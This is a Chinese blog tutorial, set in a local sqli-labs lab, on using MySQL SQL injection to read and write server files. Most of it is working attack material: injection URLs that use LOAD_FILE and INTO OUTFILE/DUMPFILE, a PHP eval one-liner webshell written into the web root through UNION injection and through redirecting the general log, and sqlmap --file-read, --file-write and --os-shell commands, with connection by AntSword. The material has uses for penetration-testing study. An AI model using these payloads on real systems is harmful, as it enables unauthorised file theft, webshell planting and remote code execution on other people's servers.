首页 > 数据库 >mysql注入读写文件

mysql注入读写文件

时间:2023-03-17 14:00:09浏览次数:37  
标签:文件 secure log -- 读写 file mysql 日志 注入

mysql注入读文件

mysq|数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(但前提是权限足够)。下面进行读文件。

 

load_file()函数前提条件:

1.当前权限对该文件可读

2.文件在该服务器上

3.路径完整

4.文件大小小于max_allowed_packet

5.当前数据库用户有FILE权限

6.secure_file_priv的值为空,如果值为某目录,那么就只能对该目录的文件进行操作

配置环境

通过sql语句,show global variables查看配置参数。发现secure_file_priv 为NULL

修改mysql文件里的my.ini

需要注意的是 secure_file_priv= 需要放在引擎下面。不然会报错

 

secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

null        表示限制mysqld 不允许导入或导出

/tmp/     表示限制mysqld 的导入或导出只能发生在/tmp/目录下

没有具体值   表示不对mysqld 的导入或导出做限制

 

修改完了后需要重启下mysql服务

 

再次查看

 

通过sql语句进行读取硬盘里面的文件。完整路径应该用/

       SELECT LOAD_FILE('D:\\test.txt');

当读取一个不存在,或者权限不足时返回NULL

注入读文件

LOAD_FILE

知道了绝对路径就能利用sql注入的方式来知晓文件下的内容

那么怎么知道路径在哪里呢?

通过@@datadir sql语句查看数据库

一般my.ini在data目录上。

 

select load_file('D://documentation/hacker/phpstudy_pro/Extensions/MySQL5.7.26\\my.ini');

导出文件到本地

into outfile

http://localhost/Less-1/?id=0'union select 1,2,load_file('D://documentation/hacker/phpstudy_pro/Extensions/MySQL5.7.26\\my.ini')INTO OUTFILE 'D://1.txt' --+

outfile 可导出多行,并会在每⾏的结束加上换⾏符

使用如下参数可以进行格式调整:

FIELDS ESCAPED BY 可以用来对指定的字符进行转义

FIELDS [OPTIONALLY] ENCLOSED BY 用来对字段值进行包裹

FIELDS TERMINATED BY 用来对字段值之间进行分割

into dumpfile

http://localhost/Less-1/?id=0'union select 1,2,load_file('D://documentation/hacker/phpstudy_pro/Extensions/MySQL5.7.26\\my.ini')INTO DUMPFILE'D://1.txt' --+

 

通过dumpfile导出的数据行数据之间并未进行换行且只导出了部分数据。

dumpfile对文件内容是原稿写入,未做任何转移和增加。

 

mysql注入写文件

 

mysq|数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(但前提是权限足够),下面介绍写文件。

 

SELECT…INTO OUTFILE写文件前提条件:

1.目标目录要有可写权限

2.当前数据库用户要有FILE权限

3.目标文件不能已存在

4.secure_file_priv的值为空

5.路径完整

 

LOAD DATA INFILE

有时候我们需要将大量数据批量写入数据库,直接使用程序语言和Sql写入往往很耗时间,其中有一种方案就是使用MySql Load data infile导入文件的形式导入数据到数据库,这样可大大缩短数据导入时间。利用这个函数,在渗透的时候会对测试人员有帮助。

 

LOAD DATA INFILE 是 SELECT ... INTO OUTFILE 的相对语句。只能导出或导入数据的内容,不包括表的结构,如果表的结构文件损坏,则必须先恢复原来的表的结构。

 

具体格式:

load data  [low_priority] [local] infile 'file_name txt' [replace | ignore] into table table_name

[fields

[terminated by't']

[OPTIONALLY] enclosed by '']

[escaped by'\' ]]

[lines terminated by'n']

[ignore number lines]

[(col_name,   )]

 

fields关键字指定了文件记段的分割格式,如果用到这个关键字,MySQL剖析器希望看到至少有下面的一个选项: 
terminated by分隔符:意思是以什么字符作为分隔符,如 '\n'

1. 查看功能是否开启

LOAD DATA INFILE这个功能默认是关闭的,当我们没有开启这个功能时执行LOAD DATA INFILE会报错,我们可以通过如下命令查看功能状态。

show global variables like 'local_infile';

 

如果没有开启,可以通过如下命令进行开启

set global local_infile=1;

 

2. 从文件读取行信息到表中

我在数据库中新建一个表,默认的id字段的类型改为varchar即字符串类型,这样才能写进去。其他字段就不需要了。主要这里路径是左斜杠

 

load data LOCAL INFILE 'D://1.txt' into TABLE abc fields TERMINATED by '\n';

执行命令后,数据已经进去了

如果我们表中有两个字段时,写入后就是如下的样子。从左往右,从上到下写。

 

into oufile

http://localhost/Less-1/?id=0'union select 1,2,'<?php phpinfo();?>' into OUTFILE 'D://documentation/hacker/phpstudy_pro/WWW/Less-1/1.php'--+

 

日志写文件

前言

利用 MySQL 进行文件(特别是木马文件)的写入,常常会用到 SELECT INTO FILE 这样一条语句,但是这条 SQL 语句的可写出路径会受到 secure-file-priv 设置项的限制。

 

前提条件

1.MySQL 拥有网站目录的写权限

2.SQL 注入可用,或有 phpMyAdmin 等执行SQL语句的途径

3.MySQL root 用户权限(日志方法需要)

4.有堆叠注入才能在网页上注入(因为union后面不能用set)

利用 MySQL 进行文件写入

常用方法

常用办法一般就是利用SELECT INTO FILE这一条语句写入文件。但是这个有一点限制,它只能通过secure-file-priv 参数来控制哪些目录下能进行写入。并且 secure_file_priv 参数是只读参数,不能使用 SET GLOBAL 语句修改,只有修改 MySQL 的配置文件并重启 MySQL 才能对此进行修改。

日志方法

但仍然有其他途径可以利用。以下方法需要 MySQL 的 SUPER 权限(root 用户)。

 

MySQL 文档中对 general log 的说明如下:

       Established client connections and statements received from clients

执行的 SQL 语句的内容都会写到 general log 的日志文件中,换句话说,只要开启 general log,并且执行一条内容包含 <?php @eval($_POST[value])?> 的语句,就能把这个一句话木马写入到指定文件,且不受 secure-file-priv 的限制。

 

日志文件相关命令:

       show variables like 'general_log'; -- 查看日志是否开启

       set global general_log=on; -- 开启日志功能

show variables like 'general_log_file'; -- 看看日志文件保存位置

set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置

show variables like 'log_output'; -- 看看日志输出类型 table或file

set global log_output='table'; -- 设置输出类型为 table

set global log_output='file'; -- 设置输出类型为file

 

通过执行以下 SQL 语句(需要 SUPER 权限)打开 general log 功能并且指定 general log 日志文件路径:

       SET GLOBAL general_log=on;

       SET GLOBAL general_log_file='目标文件路径';

 

然后执行一条包含要写入的内容的SQL语句,即可写入到目标文件上。

       SELECT '要写入的文件内容';

 

写入webshell

常用方法

前情提要


1.知道网站绝对路径

2,在mysql 中通过命令查看当前状态网站开启secure_file_priv开关需要是打开状态

  secure_file_priv的状态有三种可能有三种状态

       测试语句:show variables like '%secure_file_priv%'

       1.null 无法写入和读取

       2.设置为一个目录名字,只允许在该路径下导入导出。

       3.‘’空,可以在任意位置读取和写入

 

一句话木马

要知道网站绝对路径才能去写木马,才能用getshell工具蚁剑连接

http://localhost/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[value]); ?>' into OUTFILE 'D://documentation/hacker/phpstudy_pro/WWW/Less-1/shell.php'--+

 

在<?php @eval($_POST[value]); ?>这一句话里面

value是你自己写的。也就是登录密码

用蚁剑登录

日志方法

前边已经提起过相关的资料,再次就不继续水文。

 

没有堆叠注入是不能在网页进行日志方法

所有我们这里假设已经拿到了进入mysql并且有root账号。

 

日志注入secure_file_priv无要求

       show variables like '%secure_file_priv%'

 

查看日志功能有没有开启

       show VARIABLES like 'general_log';

 

没开启就开启日志功能

       set GLOBAL general_log = on;

 

 

show variables like 'log_output'; -- 看看日志输出类型 table或file

如果不是日志输出类型是table则设置成file

       set global log_output='file'; -- 设置输出类型为file

 

设置日志文件保存位置

set global general_log_file=' D://documentation/hacker/phpstudy_pro/WWW/Less-1/shell.php ';

此位置需要放到网站下面,不能随便放不然php代码执行不成功。

并且后缀是php。

 

执行一句话木马select '<?php @eval($_POST[value]); ?>';

此时不管报没报错。都会存在我们自己设置的shell.php日志文件下。由于是php后缀它就能只能一句话木马。通过蚁剑登录。

 

sqlmap安全测试

前情提要

对于文件操作会受到 secure-file-priv 设置项的限制

 

File system access

--file-read                            从目标数据库管理文件系统读取文件

--file-write                           上传文件到目标数据库管理文件系统

--file-dest                            指定写入文件的绝对路径

--os-cmd=                           执行操作系统命令

--os-shell                            交互式的系统shell

--os-pwn                             获取一个OOB shell,Meterpreter或者VNC

--os-smbrelay                    一键获取一个OOB shell,Meterpreter或者VNC

--os-bof                              储存过程缓冲区溢出利用

--os-esc                              数据库进程用户权限提升

--msf-path=                        Metasploit  Framework本地安装路径

 

1.下载文件。

sqlmap.py  -u "http://localhost/Less-1/?id=1" --file-read "D://1.txt"

注意,它是说保存到local下sqlmap位置。但是在我的电脑上实际是

C:\Users\18937\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\Local\sqlmap\output\localhost\files

2.写入文件

sqlmap.py  -u "http://localhost/Less-1/?id=1" --file-write "D://1.txt" --file-dest "D:\documentation\hacker\phpstudy_pro\WWW\Less-1\1.txt"

把D盘下1.txt上传到网站绝对路径下

1.获取shell

sqlmap.py  -u "http://localhost/Less-1/?id=1" --os-shell

 

2.选择网站的语言

3.输入网站的绝对路径

4.查看权限

标签:文件,secure,log,--,读写,file,mysql,日志,注入
From: https://www.cnblogs.com/Wesuiliye/p/17226511.html

相关文章

  • mysql 主从配置
    #master修改密码,创建用户,授权用户ALTERUSERUSER()IDENTIFIEDBY'mima';createuser'root'@'%'identifiedWITHmysql_native_passwordby'mima';grantallon*......
  • Splunk DB Connect 连接MySQL报错CLIENT_PLUGIN_AUTH is required
    01、问题描述使用SplunkDBConnect连接MySQL数据库读库时,报错CLIENT_PLUGIN_AUTHisrequired,如下图:02、原因分析根据报错信息,查阅相关资料,了解到报错原因:目标数据库......
  • 力扣197(MySQL)-上升的温度(简单)
    题目:表: Weather编写一个SQL查询,来查找与之前(昨天的)日期相比温度更高的所有日期的 id 。返回结果 不要求顺序 。查询结果格式如下例。 解题思路:方法一:使用......
  • mysql select @params:= 的问题
    1、创建班级表createtableclass(idintprimarykeyauto_increment,titlevarchar(50))2、添加测试数据insertintoclassvalues(null,'小班'),(nul......
  • MySQL错误:Access denied for user 'root'@'%' to database 'xxx'
    本篇记录了我在遇到该问题,解决该问题的全部过程,相信自己,还是很强大的,希望对遇到相似问题的网友有所帮助~本人Linux服务器,Centos7版本,Mysql5.7.14。。。最初问题:使用N......
  • mysql不同版本的功能差异
    概述mysql不同版本的功能差异介绍mysql的官网下载地址http://dev.mysql.com/downloads/MySQLCommunityServer(社区版)社区版本,免费,但是Mysql不提供官方技术支持......
  • 力扣196(MySQL)-删除重复的电子邮箱(简单)
    题目:表: Person编写一个SQL删除语句来删除所有重复的电子邮件,只保留一个id最小的唯一电子邮件。以任意顺序返回结果表。(注意:仅需要写删除语句,将自动对剩余结......
  • 在ASP.NET WEBAPI中使用Autofac注入Hangfire
    一、配置环境   .NETFramework4.6.1  ASP.NETWEBAPI<packageid="Autofac"version="5.2.0"targetFramework="net461"/><packageid="Autofac.Mvc5"ver......
  • MySql生成ER【StarUML】文件
    1.背景要画ER图,一个个打费时费力,StarUML文件打开是json。那么就有可能自动生成。2.效果把表结构生成好,自己只要维护关系即可。3.代码importlombok.Data;import......
  • 【项目实战】基于Python+Django+MySQL的自行车租赁系统(附完整源码)
    1、项目说明基于python+Django+Mysql的自行车租赁系统项目实战项目需要安装pycharm专业版以及MySQL环境(环境搭建和破解可以看我的B站里的视频有讲解)首先需要创建数据......